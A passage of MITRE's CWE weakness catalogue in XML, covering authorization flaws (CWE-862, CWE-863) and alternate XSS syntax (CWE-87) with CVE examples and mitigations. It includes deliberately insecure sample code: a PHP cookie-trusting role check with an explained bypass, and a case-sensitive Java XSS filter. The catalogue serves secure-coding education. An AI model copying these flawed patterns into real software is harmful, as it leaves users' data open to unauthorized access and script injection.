						privileges for certain sensitive operations.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2213</Observed_Example_Reference>
					          <Observed_Example_Description>Gateway uses default "Allow" configuration for its
						authorization settings.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0034</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: product does not properly interpret a
						configuration option for a system group, allowing users to gain
						privileges.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-6123</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: SNMP product does not properly parse a
						configuration option for which hosts are allowed to connect, allowing
						unauthorized IP addresses to connect.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-7109</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: reliance on client-side security (CWE-602)
						allows attackers to bypass authorization using a custom
						client.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3424</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: product does not properly handle wildcards
						in an authorization policy list, allowing unintended
						access.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4577</Observed_Example_Reference>
					          <Observed_Example_Description>ACL-based protection mechanism treats negative
						access rights as if they are positive, allowing bypass of intended
						restrictions.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-2925</Observed_Example_Reference>
					          <Observed_Example_Description>Default ACL list for a DNS server does not set
						certain ACLs, allowing unauthorized DNS
						queries.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6679</Observed_Example_Reference>
					          <Observed_Example_Description>Product relies on the X-Forwarded-For HTTP header
						for authorization, allowing unintended access by spoofing the
						header.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3623</Observed_Example_Reference>
					          <Observed_Example_Description>OS kernel does not check for a certain privilege
						before setting ACLs for files.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2801</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: file-system code performs an incorrect
						comparison (CWE-697), preventing default ACLs from being properly
						applied.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1155</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: product does not properly check the result
						of a reverse DNS lookup because of operator precedence (CWE-783), allowing
						bypass of DNS-based access restrictions.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Local_Reference_ID="R.862.1">
					          <Reference_Author>NIST</Reference_Author>
					          <Reference_Title>Role Based Access Control and Role Based
						Security</Reference_Title>
					          <Reference_Link>http://csrc.nist.gov/groups/SNS/rbac/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-11" Local_Reference_ID="R.862.2">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 4, "Authorization" Page 114; Chapter 6, "Determining
						Appropriate Access Control" Page 171</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Local_Reference_ID="R.862.3">
					          <Reference_Author>Frank Kim</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 5 - Improper Access Control
						(Authorization)</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-04</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/03/04/top-25-series-rank-5-improper-access-control-authorization/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-21" Local_Reference_ID="R.862.4">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>OWASP Enterprise Security API (ESAPI) Project</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/ESAPI</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-23" Local_Reference_ID="R.862.5">
					          <Reference_Author>Rahul Bhattacharjee</Reference_Author>
					          <Reference_Title>Authentication using JAAS</Reference_Title>
					          <Reference_Link>http://www.javaranch.com/journal/2008/04/authentication-using-JAAS.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.862.6">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 2, "Common Vulnerabilities of Authorization", Page
						39.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-05-24</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Observed_Examples,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="863" Name="Incorrect Authorization" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software performs an authorization check when an actor
					attempts to access a resource or perform an action, but it does not correctly
					perform the check. This allows attackers to bypass intended access
					restrictions.</Description_Summary>
				        <Extended_Description>
					          <Text>Assuming a user with a given identity, authorization is the process of
						determining whether that user can access a given resource, based on the
						user's privileges and any permissions or other access-control specifications
						that apply to the resource.</Text>
					          <Text>When access control checks is incorrectly applied, users are able to
						access data or perform actions that they should not be allowed to perform.
						This can lead to a wide range of problems, including information exposures,
						denial of service, and arbitrary code execution.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>866</Relationship_Target_ID>
					          <!--2011 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>285</Relationship_Target_ID>
					          <!--Improper Authorization-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>813</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A4 - Insecure Direct Object References-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>817</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
				        <Technology_Classes>
					          <Technology_Class Technology_Name="Web-Server" Prevalence="Often"/>
					          <Technology_Class Technology_Name="Database-Server" Prevalence="Often"/>
				        </Technology_Classes>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>An access control list (ACL) represents who/what has permissions to a
						given object. Different operating systems implement (ACLs) in different
						ways. In UNIX, there are three types of permissions: read, write, and
						execute. Users are divided into three classes for file access: owner, group
						owner, and all other users where each class has a separate set of rights. In
						Windows NT, there are four basic types of permissions for files: "No
						access", "Read access", "Change access", and "Full control". Windows NT
						extends the concept of three types of users in UNIX to include a list of
						users and groups along with their associated permissions. A user can create
						an object (file) and assign specified permissions to that object.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>AuthZ</Term>
					          <Alternate_Term_Description>
						            <Text>"AuthZ" is typically used as an abbreviation of "authorization" within
							the web application security community. It is also distinct from
							"AuthC," which is an abbreviation of "authentication." The use of "Auth"
							as an abbreviation is discouraged, since it could be used for either
							authentication or authorization.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>A developer may introduce authorization weaknesses because of a lack of
						understanding about the underlying technologies. For example, a developer
						may assume that attackers cannot modify certain inputs such as headers or
						cookies.</Text>
				        </Mode_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>Authorization weaknesses may arise when a single-user application is
						ported to a multi-user environment.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could read sensitive data, either by reading the data
							directly from a data store that is not correctly restricted, or by
							accessing insufficiently-protected, privileged functionality to read the
							data.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could modify sensitive data, either by writing the data
							directly to a data store that is not correctly restricted, or by
							accessing insufficiently-protected, privileged functionality to write
							the data.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could gain privileges by modifying or reading critical
							data directly, or by accessing privileged functionality.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-6">
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Automated static analysis is useful for detecting commonly-used idioms
							for authorization. A tool may be able to analyze related configuration
							files, such as .htaccess in Apache web servers, or detect the usage of
							commonly-used authorization libraries.</Text>
						            <Text>Generally, automated static analysis tools have difficulty detecting
							custom authorization schemes. Even if they can be customized to
							recognize these schemes, they might not be able to tell whether the
							scheme correctly performs the authorization in a way that cannot be
							bypassed or subverted by an attacker.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Limited</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Automated Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>Automated dynamic analysis may not be able to find interfaces that are
							protected by authorization checks, even if those checks contain
							weaknesses.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Manual Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using tools and techniques that require
							manual (human) analysis, such as penetration testing, threat modeling,
							and interactive tools that allow the tester to record and modify an
							active session. </Text>
						            <Text>Specifically, manual static analysis is useful for evaluating the
							correctness of custom authorization mechanisms.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
					          <Method_Effectiveness_Notes>
						            <Text> These may be more effective than strictly automated techniques. This
							is especially the case with weaknesses that are related to design and
							business rules. However, manual efforts might not achieve desired code
							coverage within limited time constraints.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Divide the software into anonymous, normal, privileged, and
							administrative areas. Reduce the attack surface by carefully mapping
							roles with data and functionality. Use role-based access control (RBAC)
							[R.863.1] to enforce the roles at the appropriate boundaries.</Text>
						            <Text>Note that this approach may not protect against horizontal
							authorization, i.e., it will not protect a user from attacking others
							with the same role.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that access control checks are performed related to the
							business logic. These checks may be different than the access control
							checks that are applied to more generic resources such as files,
							connections, processes, memory, and database records. For example, a
							database may restrict access for medical records to a specific database
							user, but each record might only be intended to be accessible to the
							patient and the patient's doctor [R.863.2].</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4.4">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>For example, consider using authorization frameworks such as the JAAS
							Authorization Framework [R.863.4] and the OWASP ESAPI Access Control
							feature [R.863.5].</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For web applications, make sure that the access control mechanism is
							enforced correctly at the server side on every page. Users should not be
							able to access any unauthorized functionality or information by simply
							requesting direct access to that page.</Text>
						            <Text>One way to do this is to ensure that all pages containing sensitive
							information are not cached, and that all such pages restrict access to
							requests that are accompanied by an active and authenticated session
							token associated with a user who has the required permissions to access
							that page.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Phase>Installation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use the access control capabilities of your operating system and
							server environment and define your access control lists accordingly. Use
							a "default deny" policy when defining these ACLs.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code could be for a medical records application. It
						displays a record to already authenticated users, confirming the user's
						authorization using a value stored in a cookie. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>$role = $_COOKIES['role'];</Code>
							              <Code>if (!$role) {</Code>
							              <Block>
								                <Code>$role = getRole('user');</Code>
								                <Code>if ($role) {</Code>
								                <Block>
									                  <Code>// save the cookie to send out in future responses</Code>
									                  <Code>setcookie("role", $role, time()+60*60*2);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else{</Code>
								                <Block>
									                  <Code>ShowLoginScreen();</Code>
									                  <Code>die("\n");</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>if ($role == 'Reader') {</Code>
							              <Block>
								                <Code>DisplayMedicalHistory($_POST['patient_ID']);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>else{</Code>
							              <Block>
								                <Code>die("You are not Authorized to view this record\n");</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> The programmer expects that the cookie will only be set when
							getRole() succeeds. The programmer even diligently specifies a 2-hour
							expiration for the cookie. However, the attacker can easily set the
							"role" cookie to the value "Reader". As a result, the $role variable is
							"Reader", and getRole() is never invoked. The attacker has bypassed the
							authorization system.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2213</Observed_Example_Reference>
					          <Observed_Example_Description>Gateway uses default "Allow" configuration for its
						authorization settings.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0034</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: product does not properly interpret a
						configuration option for a system group, allowing users to gain
						privileges.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-6123</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: SNMP product does not properly parse a
						configuration option for which hosts are allowed to connect, allowing
						unauthorized IP addresses to connect.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-7109</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: reliance on client-side security (CWE-602)
						allows attackers to bypass authorization using a custom
						client.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3424</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: product does not properly handle wildcards
						in an authorization policy list, allowing unintended
						access.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4577</Observed_Example_Reference>
					          <Observed_Example_Description>ACL-based protection mechanism treats negative
						access rights as if they are positive, allowing bypass of intended
						restrictions.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6679</Observed_Example_Reference>
					          <Observed_Example_Description>Product relies on the X-Forwarded-For HTTP header
						for authorization, allowing unintended access by spoofing the
						header.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2801</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: file-system code performs an incorrect
						comparison (CWE-697), preventing default ACLs from being properly
						applied.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1155</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: product does not properly check the result
						of a reverse DNS lookup because of operator precedence (CWE-783), allowing
						bypass of DNS-based access restrictions.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Local_Reference_ID="R.863.1">
					          <Reference_Author>NIST</Reference_Author>
					          <Reference_Title>Role Based Access Control and Role Based
						Security</Reference_Title>
					          <Reference_Link>http://csrc.nist.gov/groups/SNS/rbac/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-11" Local_Reference_ID="R.863.2">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 4, "Authorization" Page 114; Chapter 6, "Determining
						Appropriate Access Control" Page 171</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Local_Reference_ID="R.863.3">
					          <Reference_Author>Frank Kim</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 5 - Improper Access Control
						(Authorization)</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-04</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/03/04/top-25-series-rank-5-improper-access-control-authorization/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-23" Local_Reference_ID="R.863.4">
					          <Reference_Author>Rahul Bhattacharjee</Reference_Author>
					          <Reference_Title>Authentication using JAAS</Reference_Title>
					          <Reference_Link>http://www.javaranch.com/journal/2008/04/authentication-using-JAAS.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-21" Local_Reference_ID="R.863.5">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>OWASP Enterprise Security API (ESAPI) Project</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/ESAPI</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.863.6">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 2, "Common Vulnerabilities of Authorization", Page
						39.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-05-24</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="87" Name="Improper Neutralization of Alternate XSS Syntax" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not neutralize or incorrectly neutralizes
					user-controlled input for alternate script syntax.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>79</Relationship_Target_ID>
					          <!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Resolve all input to absolute or canonical representations before
							processing.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Carefully check each input parameter against a rigorous positive
							specification (white list) defining the specific characters and format
							allowed. All input should be neutralized, not just parameters that the
							user is supposed to specify, but all data in the request, including tag
							attributes, hidden fields, cookies, headers, the URL itself, and so
							forth. A common mistake that leads to continuing XSS vulnerabilities is
							to validate only fields that are expected to be redisplayed by the site.
							We often encounter data from the request that is reflected by the
							application server or the application that the development team did not
							anticipate. Also, a field that is not currently reflected may be used by
							a future developer. Therefore, validating ALL parts of the HTTP request
							is recommended.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-30.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use and specify an output encoding that can be handled by the
							downstream component that is reading the output. Common encodings
							include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified,
							a downstream component may choose a different encoding, either by
							assuming a default encoding or automatically inferring which encoding is
							being used, which can be erroneous. When the encodings are inconsistent,
							the downstream component might treat some character or byte sequences as
							special, even if they are not special in the original encoding.
							Attackers might then be able to exploit this discrepancy and conduct
							injection attacks; they even might be able to bypass protection
							mechanisms that assume the original encoding is also being used by the
							downstream component. </Text>
						            <Text>The problem of inconsistent output encodings often arises in web
							pages. If an encoding is not specified in an HTTP header, web browsers
							often guess about which encoding is being used. This can open up the
							browser to subtle XSS attacks. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-43">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>With Struts, write all data from form beans with the bean's filter
							attribute set to true.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-31">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>To help mitigate XSS attacks against the user's session cookie, set
							the session cookie to be HttpOnly. In browsers that support the HttpOnly
							feature (such as more recent versions of Internet Explorer and Firefox),
							this attribute can prevent the user's session cookie from being
							accessible to malicious client-side scripts that use document.cookie.
							This is not a complete solution, since HttpOnly is not supported by all
							browsers. More importantly, XMLHTTPRequest and other powerful browser
							technologies provide read access to HTTP headers, including the
							Set-Cookie header in which the HttpOnly flag is set.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example, an XSS neutralization routine checks for
						the lower-case "script" string but does not account for alternate strings
						("SCRIPT", for example).</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public String preventXSS(String input, String mask) {</Code>
							              <Block>
								                <Code>return input.replaceAll("script", mask);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0738</Observed_Example_Reference>
					          <Observed_Example_Description>XSS using
						"&amp;={script}".</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Alternate XSS syntax</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>199</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
